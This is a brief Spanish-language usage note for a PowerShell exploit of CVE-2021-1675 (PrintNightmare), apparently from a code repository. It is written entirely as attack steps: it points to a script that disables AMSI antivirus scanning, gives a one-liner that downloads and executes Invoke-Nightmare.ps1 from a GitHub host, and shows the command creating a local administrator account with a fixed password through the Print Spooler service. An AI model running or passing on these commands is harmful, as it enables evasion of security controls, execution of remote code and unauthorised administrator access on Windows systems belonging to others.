
Exploit en PowerShell para CVE-2021-1675 (PrintNightmare) que deshabilita AMSI y crea una cuenta de administrador local a través del servicio Windows Print Spooler.
#deshabilitar amsi: (copiar en powershell) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#ejecutar invoke-script iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#crear cuenta de administrador Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"